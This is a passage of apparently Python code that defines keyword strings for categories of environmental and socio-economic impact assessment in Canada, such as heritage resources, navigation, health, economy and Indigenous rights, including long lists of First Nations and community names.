Dease River Dechi Laot'i Deh Gah Gotie Dene Fort Franklin Dene Tha' Fort Resolution Nitinaht Tli Cho Doig River Douglas Driftpile Duncan's Dzawada'enuxw Ebb and Flow Natoaganeg Ehattesaht Kesyehot'ine Enoch Ermineskin Cree Esdilah Esquimalt Fairford Fisher River Cree Fishing lake Flying Dust Fond du Lac Denesuline Fort Churchill Fort Folly Fort Good Hope Fort Albany Fort Alexander Smith's Landing Fort George Fort MacKay Fort McMurray Fort McPherson Fort Nelson Fort Rupert Band Liidlii Kue Fort Smith Fort Ware Xaxl'ip Fox Lake Cree Nadleh Whut'en Frog Lake Gamblers Rae Lakes Garden Hill Gesgapegiag Gingolx Gitanmaax Kitwancool Gitg'a'ata Kitkatla New Aiyansh Gitsegukla Kitselas Gitwangak Gitwinksihlkw Gitxsan Glen Vowell God's Lake Manto Sipi George Gordon Grand Rapids Grouard Gwa'Sala-Nakwaxda'xw Gwawaenuk Hagwilget Haisla Halalt Halfway River Hatchet Lake Hay River Heart Lake Hesquiaht Tenlenaitmux Wanipigow Holman Homalco Horse Lake Hupacasath Huu-ay-aht Iglulik Indian Birch Indian Island Inuvik Iqaluit Iskut Ministikwan Kinonjeoshtegon James Smith Jean Marie River Muskoday K'ómoks Ka'a'gee Tu Ka:'yu:'k't'h'/Che:k:tles7et'h' Kahkewistahaw Kahnawà:ke Kamloops Kanaka Bar Kanehsatà:ke Rankin Inlet Kaska Nation Katzie Poor Man or Lean Man Keeseekoose Riding Mountain Band Kehewin Cree Kelly Lake Kelly Lake Cree Kelly Lake Métis Settlement Lake Harbour Kinistin Kispiox Kitasoo/Xai'Xais Kitsumkalum Klahoose Kluane Kluskus Kwanlin Dun Kwantlen Kwaw-Kwaw-Apilt Kwiakah Kwicksutaineuk-ah-kwaw-ah-mish Kwikwetlem Lac La Martre Lac La Ronge Leq'á:mel Lakalzap Lake Babine Lake Cowichan Lake Manitoba Lake St. Martin Lax-Kw'alaams Lean Man Lekwungen Lhtakot'en Liard Mount Currie T'it'q'et Restigouche Little Black Bear Little Grand Rapids Little Pine Little Red River Cree Little Salmon Carmacks Little Saskatchewan Skwlax Long Plain Loon River Louis Bull Yaqan Nukiy Lower Nicola Lower Similkameen Lubicon Lake Lucky Man Snowdrift Lyackson Lytton Madawaska Maliseet Makwa Sahgaiehcan Malahat Maliseet Mamalilikulla-Qwe'Qwa'Sot'Em Manawan Mathias Colomb Matsqui McLeod Lake Metlakatla Miawpukek Mi'kamawey Mawi'omi La Nation Micmac de Gespeg Mistawasis Mittimatalik Mississaugas of the New Credit Kenhtë:ke Kanyen'keh·:ka Montreal Lake Cree Moose Lake Moosomin Moricetown Mosquito, Grizzly Bear's Head, Lean Man Mowachaht/Muchalaht Muscowpetung Utshimassit Muskeg Lake Muskowekwan Musqueam N'ahadehe Na-Cho Nyak Dun Nak'azdli Nanoose Nazko Nee Tahi Buhn Nekaneet Xeni Gwet'in Nisichawayasihk Neskonlith Nicomen Nisga'a Nation Nooaitch Northlands Denesuline Northwest Angle No. 33 Northwest Angle 37 Simpcw Norway House Nuchatlaht Nunavut Nuwitti Nut Lake Oak Lake O'Chiese Sioux Valley Dakota Ocean Man Ochapowace Opitciwan Odanak Ohamil Okanagan Okanese Old Masset Village Council Willow Crees Onion Lake Opaskwayak Cree O-Pipon-Na-Piwin Cree Oregon Jack Creek Oromocto Osoyoos Oujé Bougoumou Cree Oweekeno Pacheedaht Pangnirtung Pasqua Pauingassi Paul Paulatuk Pauquachin Ts'kw'aylaxw Peepeekisis Peguis Pehdzeh Ki Selkirk Peigan Pelican Lake Penelakut Penticton Peter Ballantyne Peter Chapman Peters Pheasant Rump Nakota Piapot Algonquins of Pikwákanagán Pine Creek Piyesiw-awasis Popkum Poplar River Poundmaker Prophet River Band, Dene Tsaa Tse K'Nai Qalipu Mi'Kmaq Qausuittuq Qayqayt Qualicum Quatsino Rat Portage Red Earth Red Pheasant Red Sucker Lake Rolling River Roseau River Anishinabe Ross River Sachs Harbour Saddle Lake Cree Saik'uz Sakimay Samahquam Sambaah Ke Dene Samson Sandy Bay Sapotaweyak Saulteau Saulteaux Sawridge Scowlitz Seabird Island Shishálh Semiahmoo Secwepemc Shackan Shamattawa Shoal Lake Shxwhá:y Village Sîkîp Sâkahikan Siksika Sinixt Siska Six Nations Skatin Skawahlook Skidegate Skin Tyee Skulkayn Skownan Skuppah Skwah Tla'Amin Snuneymuxw Soda Creek Soowahlie Splatsin Tataskweyak Cree Spuzzum Squamish Squiala St. Theresa Point Standing Buffalo Dakota Star Blanket Stellat'en Yunesit'in Stoney Nakoda Stony Knoll Sturgeon Lake Sturgeon Lake Cree Sucker Creek, AB Sucker Creek, ON T'exelc Semá:th Sunchild Swan Lake Swan River Sweetgrass Ta'an Kwäch'än Tahltan Takla Lake Taku River Tlingit Tallcree Teetl'itzheh Teslin Tlingit The Key Tl'azt'en Tl'esqox Tli Cho Government Turner Island Tobique Valley River Toquaht T'Sou-ke Tr'on dëk Hwëch'in Ts'ueh Nda Tsartlip Tsawout Tsawwassen Tsay Keh Dene Tseshaht Tseycum Tsuu T'ina Tuktoyaktuk Uchucklesaht Ucluelet Ulkatcho Union Bar Upper Nicola Upper Similkameen Vuntut Gwitchin Wahpeton Dakota War Lake Wasagamack Waswanipi Cree Waywayseecappo Wemotaci Nation Huronne Wendat Westbank West Moberly Wet'suwet'en Nation Whispering Pines/Clinton White Bear White River Whitecap Dakota Atikameg Witchekan Lake Wolastokwik NeGoot-Gook Wôlinak Wood Mountain Lakota Woodland Cree Wrigley Yeqwyeqwí:ws Yale Yekooche Yellowknives Dene York Factory Columbia Lake Alexandria Chippewas of Sarnia Acho Dene Koe Sexqeltqin Aitchelitz Akun'kunik' Akwesasne Redstone Band Esketemc Tl'etinqox-t'in N'quatqua Lake Nipigon Ojibway Anishinaabeg of Naongashiing Aqam Arctic Bay Arctic Red River Grande Cache Atikameksheng Anishnawbek Sucker Creek Ausuittuq Da'naxda'xw Bald Hill Beardy's and Okemasis Beaver Lake Cree Beecher Bay Tulita Dene Bella Bella Bella Coola Elsipogtog Naongashiing Big Island Lake Turnor Lake Bkejwanong Black Lake Denesuliné Makadewaagamijiwanong Black Sturgeon Kainai Bobtail Bonaparte Nxwisten Broman Lake Broughton Island Buctouche Bunibonibee Ts'il kaz koh Esgenoopetitj Burrard Jean Baptiste Gambler Ikaluktutiak Campbell River Canoe Creek Cape Dorset We Wai Kai Carry the Kettle Nakota Sekw'el'was Ch'yaqtel Tsal'alh Chi:yo:m Sts'Ailes Stz'uminus Chemawawin Chief Big Bear Chipewyan Prairie Clayoquot Kangiqtugaapik Crane River Cree Chip Pimicikamak Waskahikanihk Cree Cree Lower Post Deadman's Creek Wekwèti Fort Providence Déline Deninu K'ue Ditidaht Dog Rib Rae Xa'xtsa Tsawataineuk Eel Ground English River Ermineskin Pinaymootang Fisher River Sayisi Dene K'asho Got'ine Sagkeeng Fort Fitzgerald Dene Lheidli T'enneh Kwawkewlth Fort Simpson Salt River 195 Kwadacha Fountain Fox Lake Fraser Lake Gamèti Gitanyow Hartley Bay Gitkxaala Gitlakdamix Gits'ilaasu God's Lake Narrows Manto Sipi Cree Goodfish Misipawistik Cree Kapawe'no Kitamaat K'atlodeeche High Bar Hollow Water Uluqsaqtuuq Xwémalhkwu Ohiaht Wuskwi Sipihk Island Lake Jackhead Tthe'k'ehdeli John Smith Comoks Kakisa Kyuquot Tk'emlúps Kangiqliniq Kawacatoose Keeseekoowenin Kimmirut Lhoosk'uz Dene Kwikwasut'inuxw Haxwa'mis Wha Ti Lakahahmen Laxgalt'Sap Nat'oot'en Lapatack Cree Kawacatoose or Mosquito, Grizzly Bear's Head, Lean Man Songhees Red Bluff Lil'wat Lillooet Listuguj Little Shuswap Lake Lower Kootenay Lù'an Män Ku Dän Lutsel K'e Dene Maliseet of Viger Manouane Mathias Colomb Cree Tsek'hene Purtujuq Mohawks of the Bay of Quinte Montreal Lake Mosakahiken Witset Mushuau Innu Petequakey Nahanni Butte Nak'azdli Whut'en Snaw-naw-as Nemaiah Nelson House Northlands Northwest Angle 33 Northwest Angle No. 37 North Thompson Norway House Cree Tlatlasikwala Yellow Quill Oak River Obedjiwan Shxw'ow'hamel One Arrow The Pas O-Pipon-Na-Piwin Oujé Bougoumou Wuikinuvx Pacheenaht Panniqtuuq Pavillion Pelly Band Piikani Peter Ballantyne Cree Skw'atels Golden Lake Thunderchild Poor Man Prophet River Resolute Bay Onihcikiskowapowin Stony Creek Zagime Anishinabek Trout Lake White Mud River Sapotaweyak Cree Sq'éwlets Sechelt Waterhen Lake Sq'ewá:lxw Sq'ewq&emacryl Water Hen Sliammon Xatsu'll/Cm'etem Spallumcheen Tataskweyak Stone Young Chipeeweyan Sukwekwin Sumas Tetlit Gwich'in Toosey Tlowitsis-mumtagila Tootinaowaziibeeng T'Souke West Point Tyendinaga Weymontachi Whitefish Yakweakwioose Akisq'nuk Alexis Creek Gwichya Gwich'in Atikameksheng Anishnawbek Tanakteuk Kapuskwatinak Begaee Shuhagot'ine Black River Xwísten Tzeachten Chalath Waskahikanihk Cree Poplar House People Kwakiutl God's River Misipawistik Ulukhaktok Ministikwan Lake Cree Mosquito Pukatawagan Pond Inlet Mosakahiken Cree Necoslie Whitefish Bay South Indian Lake Pikwàkanagàn Dene Tsaa Tse K'Nai Saddle Lake Shoal River Skowkale Split Lake Williams Lake Tlowitsis Whitefish Lake, AB Whitefish Lake (Atikameg) Peerless Lake Grizzly Bear's Head Animakhee Wazhing Whitefish Lake, ON""" Electricity_and_electromagnetism = """Electromagnetism and Corona Discharge electromagnetism voltage ozone concentration eletric electricity magnetic magnetism corona discharge magnetic power line powerline electromagnetic signals maximum load induction frequency inteference radio interference television interference foul weather ambient conditions 240 kV""" Proximity_to_people = """Human Occupancy and Resource Use Proximity to people residents human Occupancy resource use consultation livestock human male female men women boy girl father mother gender rural urban residential reserve crops orchards orchid vineyards agriculture recreation park scenic parks canada conservation area international biological program ecological reserves preserves industrial commercial agreement forests timber sales area controlled forest managed forest registered hunting recognized hunting trapping guiding areas commercial fishing sport finishing water reserves water licenses water supply municipal infrastructure rail navigable waterways TLU Impact assessment""" Archaeological_paleontological_historical_and_culturally_significant_sites_and_resources = """Heritage Resources Heritage Resources Heritage Archaeology Archeology Archaeological Archeological Paleontology Paleontological Historic Historic resource Historic site Hunting camp Trail Culturally significant grading trenching excavating drilling clearing of vegetation Dig site Archaeologist Archeologist undiscovered architectural grave site burial site medicine wheel culturally modified tree CMT archaeological report archeological report archaeological assessment archeological assessment pre-contact post-contact human remains Heritage Conservation Branch Ontario ministry of tourism culture and sport Heritage resources act Alberta Ministry of Culture Multiculturalism and Status of Women British Columbia Archeology Branch Heritage conservation act Historic sites and monuments act Historic resources act Heritage property act Haida Gwaii Reconciliation act Heritage Manitoba act Onatario Heritage act Loi sur les biens culturels Heritage place protection act Archeological sites protection act richesse du patrimoine permis de recherche archéologique Heritage resources impact assessment HRIA Acheological impact assessment AIA Nunavut territorial lands use regulations Northwest territories historical advisory Board Yukon heritage resources Board oldforest old forest""" Human_access_to_boats_and_waterways = """Navigation and Navigation Safety Navigation Nonnavigable Navigation protection activities Guide lines Guide wires Signage Waterway Crossing crossing plan impacting Navigation dewatering of navigable waters navigable waters navigable waterway navigable navigate watercourse watercourse crossing water crossing crossing methodology horizontal directional drilling HDD bridge marine marine terminal waterway user recreational waterway user navigational use tributary tourism tourist guide outfitter outfitter angler canoe kayak boat sailing sail Fisheries and Oceans Canada Navigation Protection Act navigable watercourse navigation Safety scheduled waters non-scheduled waters recreation-related navigation commercial-related navigation watercourse users waterway users watercourse Crossing crossing method trenchless crossing trenched crossing navigation hazard exposed instream buoyancy issues upstream downstream warning signs warning Signage instream temporary vehicle crossing bed banks preconstruction contours hydraulic characteristics erosion and sediment control runoff temporary crossing structure fording streambank streambed side containment""" Impact_to_social_and_cultural_well_being = """Social and Cultural Well-Being Social Routing socio-cultural cultural well-being well being families workers residents community traditions alcohol drugs substance abuse stresses household cohesion illegal disruptive activities privacy inhabited human behaviour human behavior workforce peak workforce mobile workforce discipline measures traffic control management project schedule Code of conduct policy alcohol and drug policy Indigenous service providers regional service providers social service cultural service social agency cultural agency cultrual groups""" Impact_to_human_health_and_viewscapes = """Human Health and Aesthetics viewscapes toxic human health nuisances health death illness disease Aesthetics human receptors CCME Guidelines AER Directive 038 AUC Rule 012 release assessment exposure assessment dose-response risk characterization mental Social well-being well being stressors emotional public Safety accidents visual obstruction of view view points angle of vision quality of life environmental changes adverse human health effects human receptors air emissions noise emissions effluent discharge CCME Guidelines AER Directive 038 AUC Rule 012 risk assessment ambient conditions distance to edge of right-of-way distance to edge of row distance to schools susceptible groups elderly children recreationalists Indigenous Women visual impact assessment visually absorb landscape features view obstruction Health canada human health impact assessment Canadian handbook on health impact assessment health indicator data statistics canada mortality beauty odour""" Social_cultural_economic_infrastructure_and_services = """Infrastructure and Services Infractructure Services Hospital Urgent Care ambulance Fire services Fire response protective services police services Emergency response time Emergency response Hotel Motel RCMP Royal Canadian Mounted police medical response personnel healthcare social services Local commercial accommodation local accommodation existing accommodation worker accommodation campground Recreational Camp sites recreational Resources camp sites Municipal waste Municipal wateruse Municipal water use waste contingency plan traffic control multi-passenger vehicles restrict access service providers chemical waste solid waste liquid waste landfills industrial waste non-hazardous waste transfer stations hazardous waste facilities wastewater treatment facilities recycling facilities highways roads airports bridge 911 dispatch services Local commercial accommodation Camp sites Recreational Camp sites railway rail roadway road highway traffic traffic flow traffic usage levels traffic patterns pipeline water main water supply sewage line waste water waste disposal navigable waterway powerline power line existing pre-existing preexisting local services regional services services accommodation camping facilities recreation recreational ammenities community services essential services emergency services health care services social services police fire fire fighting fire-fighting firefighting EMT response time healthcare health care hospital housing educational facilities school university college transportation access construction access land access right of way right-of-way ROW temporary workspace temporary work space TWS sewer disposal electricity traffic usage railways availability of housing local residents heavy load vehicles construction access permits hotel big box stores town centre property motel construction increased demand""" Economic_Offsets_and_Impact = """Employment and Economy Employment opportunities Business opportunities contracting opportunities Project contracting local contracting subcontracting Indigenous employment Aboriginal employment Aboriginal participation plan Indigenous participation plan Aboriginal businesses Indigenous businesses direct employment prime contractor local Business local Economy local economies unemployment rate employment rate educational level post-secondary high school high-school college cegep diploma degree university non-university bachelor certificate Economy wage tips commission dividend pension child support payment spousal support payment jobs monetary salary cash personnel cotractors workers workforce staff labour force labor force economic well-being procurement tax revenue Major industries Primary industries Key industrial sectors tourism mining quarrying oil and Gas gas extraction agriculture forestry fishing hunting construction public administration retail trade temporary workforce permanent workforce permanent part-time Employment permanent full-time Employment temporary part-time Employment temporary full-time Employment self-employment retirement investment contracting contract procurement ordering training training programs education opportunity labor labour development plan labour services economic participation project requirements dollar value contract value worker workforce work force revenue tax levee employment unemployment education level skill level economic condition direct revenue indirect revenue hardship displacement economic benefits plan cooperation agreement bid qualification income compensation partnership collaboration distribution outreach commitment financial benefits monitoring environmental monitoring certificate program""" Treaty_and_Indigenous_Rights = """Rights of Indigenous Peoples potential rights established rights asserted rights protected rights section 35 rights Indian Act Constitution Act, 1982 Constitution Act section 35 s. 35 Indigenous Aboriginal Native Indian Métis Metis Inuit Inuk Communities Nation Band Tribe Settlement Treaty Crown Land Traditional Land territory Traditional Territory Traditional Knowledge IK OIK TK Elder knowledge keeper knowledge holder rights-bearing engagement Indigenous engagement Aboriginal engagement Crown duty to consult agent of the Crown early engagement CER Early Engagement Guide Indigenous and Northern Affairs Canada INAC Crown-Indigenous Relations and Northern Affairs Canada CIRNAC Indigenous Services Canada ISC infringe exercise rights practice rights customs traditions practices access to lands access to resources travel ways land availability resource availability governancy system Reconciliation Truth and Reconciliation TRC Calls to Action missing and murdered MMIW MMIWG residential school United Nations Declaration on the Rights of Indigenous Peoples UNDRIP Traditional Knowledge Hunt fishing Harvest Culturally significant Culturally modified tree Gather Berries Medicine Berry picking Elder Trapping engagement trap Ceremony ceremonies Medicinal Cultural First Peoples rights-bearing reserves first nations shxw’ōwhámel lheidlit’enneh whispering pines first nation kumik elder lodge tribal Abenaki Innu Montagnais-Naskapi Oneida Ahousaht Interior Salish Onondaga Algonquin Inuinnait Copper Inuit Pacheenaht Assiniboine Inuvialuit Mackenzie Inuit Petun Atikamekw Kainai Piikani Peigan Baffin Island Inuit K'asho Got'ine Saldermiut Inuit Beothuk Kaska Dena Sahtu Got'ine Bearlake Blackfoot Confederacy Blackfoot Kivallirmiut Caribou Inuit Secwepemc Shuswap Cayuga Ktunaxa Kootenay Sekani Central Coast Salish Kwakwaka'wakw Kwakiutl Seneca Coast Salish Kyuquot and Checleseht Shuta Got'ine Cree Labradormiut Labrador Inuit Siksika Dakota Lilwat Lillooet Slavey Dakelh Lingit Tlingit Stoney-Nakoda Dane-zaa Beaver Syilx Okanagan Dene Mi'kmaq Tagish Denesuline Chipewyan Mohawk Tahltan Ditidaht Mowachaht-Muchalaht Tla-o-qui-aht Clayoquot Ehattesaht Nahani Tlicho Dogrib Gitxsan Gitksan Netsilingmiut Netsilik Inuit Toquaht Gwich'in Neutral Confederacy Tr'ondëk Hwëch'in (Han) Haida Nicola-Similkameen Tseshaht Sheshaht Haisla Kitamaat Nisga'a Tsilhqot'in Chilcotin Haudenosaunee Six Nations Iroquois Nlaka'pamux Thompson Tsimshian Heiltsuk Northern Georgia Strait Coast Salish Tsuut'ina Sarcee Hesquiaht Nuchatlaht Tutchone Hupacasath Opetchesaht Nunavimmiut Ungava Inuit Uchucklesaht Huu-ay-aht Nuu-chah-nulth Ucluelet Huron-Wendat Nuxalk Bella Coola Wolastoqiyik Maliseet Iglulingmuit Iglulik Inuit Odawa Wetal Tsetsaut Ojibwa Yellowknives popkum first nation leq’á:mel first nation alexander first nation samson cree first nation o’chiese first nation ermineskin cree nation enoch cree nation eskimo ?Akisq'nuk ?Esdilagh 'Namgis Aamjiwnaang Fort Liard Adams Lake Ahousaht Ahtahkakoop &Abrevethélets Aklavik Tobacco Plains Ahkwesáhsne Kanien'kehá:ka Alderville Alexander Alexis Nakota Sioux Tsi Del Del Alkali Lake Anaham Anderson Lake Animbiigoo Zaagi'igan Anishinaabek Big Island Anishinabe of Wauzhushk Onigum St. Mary's Ikpiarjuk Tsiigehtchic Aseniwuche Winewak Ashcroft Athabasca Chipewyan Whitefish Lake Attawapiskat Aundeck-Omni-Kaning Grise Fiord Awaetlala Peerless Trout Barren Lands Batchewana Beardy's and Okemasis' Bearskin Lake Beausoleil Beaver Beaver Lake Scia'new Fort Norman Behdzi Ahda" Heíltsuk Nuxalk Big Cove Joseph Bighead Cree Big River Bigstone Cree Birch Narrows Birdtail Sioux Walpole Island Stony Rapids Little Black River Marcel Colomb Blood Bloodvein Blueberry River Montana Cree St'uxtews Boothroyd Boston Bar Bridge River Brokenhead Ojibway Wet'suwet'en Qikiqtarjuaq Brunwick House Tjipogtotjg Buffalo Point Buffalo River Dene Oxford House Burns Lake Burnt Church Tsleil Waututh Calling Lake Cambridge Bay Wei Wai Kum Stswecem'c/Xgat'tem Canoe Lake Cree Canupawakpa Dakota Kinngait Cape Mudge Carcross/Tagish Ceg-a-Kin Cayoose Creek Ch'iyáqtel Chacachas Chakastaypasin Seton Lake Champagne and Aishihik Chawathil Cheam Chehalis Chemainus Chemawawin Cree Cheslatta Carrier Big Bear Janvier Chisasibi Tla-o-qui-aht Clearwater River Dene Clyde River Cold Lake Coldwater Comox Constance Lake Cook's Ferry Cote Cowessess Cowichan O-Chi-Chak-Ko-Sipi Mikisew Cree Cross Lake Cumberland House Dakota Plains Wahpeton Dakota Tipi Dauphin River Day Star Daylu Dena Council Skeetchestn Dease River Dechi Laot'i Deh Gah Gotie Dene Fort Franklin Dene Tha' Fort Resolution Nitinaht Tli Cho Doig River Douglas Driftpile Duncan's Dzawada'enuxw Ebb and Flow Natoaganeg Ehattesaht Kesyehot'ine Enoch Ermineskin Cree Esdilah Esquimalt Fairford Fisher River Cree Fishing lake Flying Dust Fond du Lac Denesuline Fort Churchill Fort Folly Fort Good Hope Fort Albany Fort Alexander Smith's Landing Fort George Fort MacKay Fort McMurray Fort McPherson Fort Nelson Fort Rupert Band Liidlii Kue Fort Smith Fort Ware Xaxl'ip Fox Lake Cree Nadleh Whut'en Frog Lake Gamblers Rae Lakes Garden Hill Gesgapegiag Gingolx Gitanmaax Kitwancool Gitg'a'ata Kitkatla New Aiyansh Gitsegukla Kitselas Gitwangak Gitwinksihlkw Gitxsan Glen Vowell God's Lake Manto Sipi George Gordon Grand Rapids Grouard Gwa'Sala-Nakwaxda'xw Gwawaenuk Hagwilget Haisla Halalt Halfway River Hatchet Lake Hay River Heart Lake Hesquiaht Tenlenaitmux Wanipigow Holman Homalco Horse Lake Hupacasath Huu-ay-aht Iglulik Indian Birch Indian Island Inuvik Iqaluit Iskut Ministikwan Kinonjeoshtegon James Smith Jean Marie River Muskoday K'ómoks Ka'a'gee Tu Ka:'yu:'k't'h'/Che:k:tles7et'h' Kahkewistahaw Kahnawà:ke Kamloops Kanaka Bar Kanehsatà:ke Rankin Inlet Kaska Nation Katzie Poor Man or Lean Man Keeseekoose Riding Mountain Band Kehewin Cree Kelly Lake Kelly Lake Cree Kelly Lake Métis Settlement Lake Harbour Kinistin Kispiox Kitasoo/Xai'Xais Kitsumkalum Klahoose Kluane Kluskus Kwanlin Dun Kwantlen Kwaw-Kwaw-Apilt Kwiakah Kwicksutaineuk-ah-kwaw-ah-mish Kwikwetlem Lac La Martre Lac La Ronge Leq'á:mel Lakalzap Lake Babine Lake Cowichan Lake Manitoba Lake St. Martin Lax-Kw'alaams Lean Man Lekwungen Lhtakot'en Liard Mount Currie T'it'q'et Restigouche Little Black Bear Little Grand Rapids Little Pine Little Red River Cree Little Salmon Carmacks Little Saskatchewan Skwlax Long Plain Loon River Louis Bull Yaqan Nukiy Lower Nicola Lower Similkameen Lubicon Lake Lucky Man Snowdrift Lyackson Lytton Madawaska Maliseet Makwa Sahgaiehcan Malahat Maliseet Mamalilikulla-Qwe'Qwa'Sot'Em Manawan Mathias Colomb Matsqui McLeod Lake Metlakatla Miawpukek Mi'kamawey Mawi'omi La Nation Micmac de Gespeg Mistawasis Mittimatalik Mississaugas of the New Credit Kenhtë:ke Kanyen'keh·:ka Montreal Lake Cree Moose Lake Moosomin Moricetown Mosquito, Grizzly Bear's Head, Lean Man Mowachaht/Muchalaht Muscowpetung Utshimassit Muskeg Lake Muskowekwan Musqueam N'ahadehe Na-Cho Nyak Dun Nak'azdli Nanoose Nazko Nee Tahi Buhn Nekaneet Xeni Gwet'in Nisichawayasihk Neskonlith Nicomen Nisga'a Nation Nooaitch Northlands Denesuline Northwest Angle No. 33 Northwest Angle 37 Simpcw Norway House Nuchatlaht Nunavut Nuwitti Nut Lake Oak Lake O'Chiese Sioux Valley Dakota Ocean Man Ochapowace Opitciwan Odanak Ohamil Okanagan Okanese Old Masset Village Council Willow Crees Onion Lake Opaskwayak Cree O-Pipon-Na-Piwin Cree Oregon Jack Creek Oromocto Osoyoos Oujé Bougoumou Cree Oweekeno Pacheedaht Pangnirtung Pasqua Pauingassi Paul Paulatuk Pauquachin Ts'kw'aylaxw Peepeekisis Peguis Pehdzeh Ki Selkirk Peigan Pelican Lake Penelakut Penticton Peter Ballantyne Peter Chapman Peters Pheasant Rump Nakota Piapot Algonquins of Pikwákanagán Pine Creek Piyesiw-awasis Popkum Poplar River Poundmaker Prophet River Band, Dene Tsaa Tse K'Nai Qalipu Mi'Kmaq Qausuittuq Qayqayt Qualicum Quatsino Rat Portage Red Earth Red Pheasant Red Sucker Lake Rolling River Roseau River Anishinabe Ross River Sachs Harbour Saddle Lake Cree Saik'uz Sakimay Samahquam Sambaah Ke Dene Samson Sandy Bay Sapotaweyak Saulteau Saulteaux Sawridge Scowlitz Seabird Island Shishálh Semiahmoo Secwepemc Shackan Shamattawa Shoal Lake Shxwhá:y Village Sîkîp Sâkahikan Siksika Sinixt Siska Six Nations Skatin Skawahlook Skidegate Skin Tyee Skulkayn Skownan Skuppah Skwah Tla'Amin Snuneymuxw Soda Creek Soowahlie Splatsin Tataskweyak Cree Spuzzum Squamish Squiala St. Theresa Point Standing Buffalo Dakota Star Blanket Stellat'en Yunesit'in Stoney Nakoda Stony Knoll Sturgeon Lake Sturgeon Lake Cree Sucker Creek, AB Sucker Creek, ON T'exelc Semá:th Sunchild Swan Lake Swan River Sweetgrass Ta'an Kwäch'än Tahltan Takla Lake Taku River Tlingit Tallcree Teetl'itzheh Teslin Tlingit The Key Tl'azt'en Tl'esqox Tli Cho Government Turner Island Tobique Valley River Toquaht T'Sou-ke Tr'on dëk Hwëch'in Ts'ueh Nda Tsartlip Tsawout Tsawwassen Tsay Keh Dene Tseshaht Tseycum Tsuu T'ina Tuktoyaktuk Uchucklesaht Ucluelet Ulkatcho Union Bar Upper Nicola Upper Similkameen Vuntut Gwitchin Wahpeton Dakota War Lake Wasagamack Waswanipi Cree Waywayseecappo Wemotaci Nation Huronne Wendat Westbank West Moberly Wet'suwet'en Nation Whispering Pines/Clinton White Bear White River Whitecap Dakota Atikameg Witchekan Lake Wolastokwik NeGoot-Gook Wôlinak Wood Mountain Lakota Woodland Cree Wrigley Yeqwyeqwí:ws Yale Yekooche Yellowknives Dene York Factory Columbia Lake Alexandria Chippewas of Sarnia Acho Dene Koe Sexqeltqin Aitchelitz Akun'kunik' Akwesasne Redstone Band Esketemc Tl'etinqox-t'in N'quatqua Lake Nipigon Ojibway Anishinaabeg of Naongashiing Aqam Arctic Bay Arctic Red River Grande Cache Atikameksheng Anishnawbek Sucker Creek Ausuittuq Da'naxda'xw Bald Hill Beardy's and Okemasis Beaver Lake Cree Beecher Bay Tulita Dene Bella Bella Bella Coola Elsipogtog Naongashiing Big Island Lake Turnor Lake Bkejwanong Black Lake Denesuliné Makadewaagamijiwanong Black Sturgeon Kainai Bobtail Bonaparte Nxwisten Broman Lake Broughton Island Buctouche Bunibonibee Ts'il kaz koh Esgenoopetitj Burrard Jean Baptiste Gambler Ikaluktutiak Campbell River Canoe Creek Cape Dorset We Wai Kai Carry the Kettle Nakota Sekw'el'was Ch'yaqtel Tsal'alh Chi:yo:m Sts'Ailes Stz'uminus Chemawawin Chief Big Bear Chipewyan Prairie Clayoquot Kangiqtugaapik Crane River Cree Chip Pimicikamak Waskahikanihk Cree Cree Lower Post Deadman's Creek Wekwèti Fort Providence Déline Deninu K'ue Ditidaht Dog Rib Rae Xa'xtsa Tsawataineuk Eel Ground English River Ermineskin Pinaymootang Fisher River Sayisi Dene K'asho Got'ine Sagkeeng Fort Fitzgerald Dene Lheidli T'enneh Kwawkewlth Fort Simpson Salt River 195 Kwadacha Fountain Fox Lake Fraser Lake Gamèti Gitanyow Hartley Bay Gitkxaala Gitlakdamix Gits'ilaasu God's Lake Narrows Manto Sipi Cree Goodfish Misipawistik Cree Kapawe'no Kitamaat K'atlodeeche High Bar Hollow Water Uluqsaqtuuq Xwémalhkwu Ohiaht Wuskwi Sipihk Island Lake Jackhead Tthe'k'ehdeli John Smith Comoks Kakisa Kyuquot Tk'emlúps Kangiqliniq Kawacatoose Keeseekoowenin Kimmirut Lhoosk'uz Dene Kwikwasut'inuxw Haxwa'mis Wha Ti Lakahahmen Laxgalt'Sap Nat'oot'en Lapatack Cree Kawacatoose or Mosquito, Grizzly Bear's Head, Lean Man Songhees Red Bluff Lil'wat Lillooet Listuguj Little Shuswap Lake Lower Kootenay Lù'an Män Ku Dän Lutsel K'e Dene Maliseet of Viger Manouane Mathias Colomb Cree Tsek'hene Purtujuq Mohawks of the Bay of Quinte Montreal Lake Mosakahiken Witset Mushuau Innu Petequakey Nahanni Butte Nak'azdli Whut'en Snaw-naw-as Nemaiah Nelson House Northlands Northwest Angle 33 Northwest Angle No. 37 North Thompson Norway House Cree Tlatlasikwala Yellow Quill Oak River Obedjiwan Shxw'ow'hamel One Arrow The Pas O-Pipon-Na-Piwin Oujé Bougoumou Wuikinuvx Pacheenaht Panniqtuuq Pavillion Pelly Band Piikani Peter Ballantyne Cree Skw'atels Golden Lake Thunderchild Poor Man Prophet River Resolute Bay Onihcikiskowapowin Stony Creek Zagime Anishinabek Trout Lake White Mud River Sapotaweyak Cree Sq'éwlets Sechelt Waterhen Lake Sq'ewá:lxw Sq'ewq&emacryl Water Hen Sliammon Xatsu'll/Cm'etem Spallumcheen Tataskweyak Stone Young Chipeeweyan Sukwekwin Sumas Tetlit Gwich'in Toosey Tlowitsis-mumtagila Tootinaowaziibeeng T'Souke West Point Tyendinaga Weymontachi Whitefish Yakweakwioose Akisq'nuk Alexis Creek Gwichya Gwich'in Atikameksheng Anishnawbek Tanakteuk Kapuskwatinak Begaee Shuhagot'ine Black River Xwísten Tzeachten Chalath Waskahikanihk Cree Poplar House People Kwakiutl God's River Misipawistik Ulukhaktok Ministikwan Lake Cree Mosquito Pukatawagan Pond Inlet Mosakahiken Cree Necoslie Whitefish Bay South Indian Lake Pikwàkanagàn Dene Tsaa Tse K'Nai Saddle Lake Shoal River Skowkale Split Lake Williams Lake Tlowitsis Whitefish Lake, AB Whitefish Lake (Atikameg) Peerless Lake Grizzly Bear's Head Animakhee Wazhing Whitefish Lake, ON""" keywords = [Landscape_terrain_and_weather, Soil, Plants, Water, Fish, Wetlands, Wildlife, Species_at_Risk, Greenhouse_gas_emissions, Air_emissions, Noise, Electricity_and_electromagnetism, Proximity_to_people, Archaeological_paleontological_historical_and_culturally_significant_sites_and_resources, Human_access_to_boats_and_waterways, Indigenous_land_water_and_air_use, Impact_to_social_and_cultural_well_being, Impact_to_human_health_and_viewscapes, Social_cultural_economic_infrastructure_and_services, Economic_Offsets_and_Impact, Environmental_Obligations, Treaty_and_Indigenous_Rights] keywords = 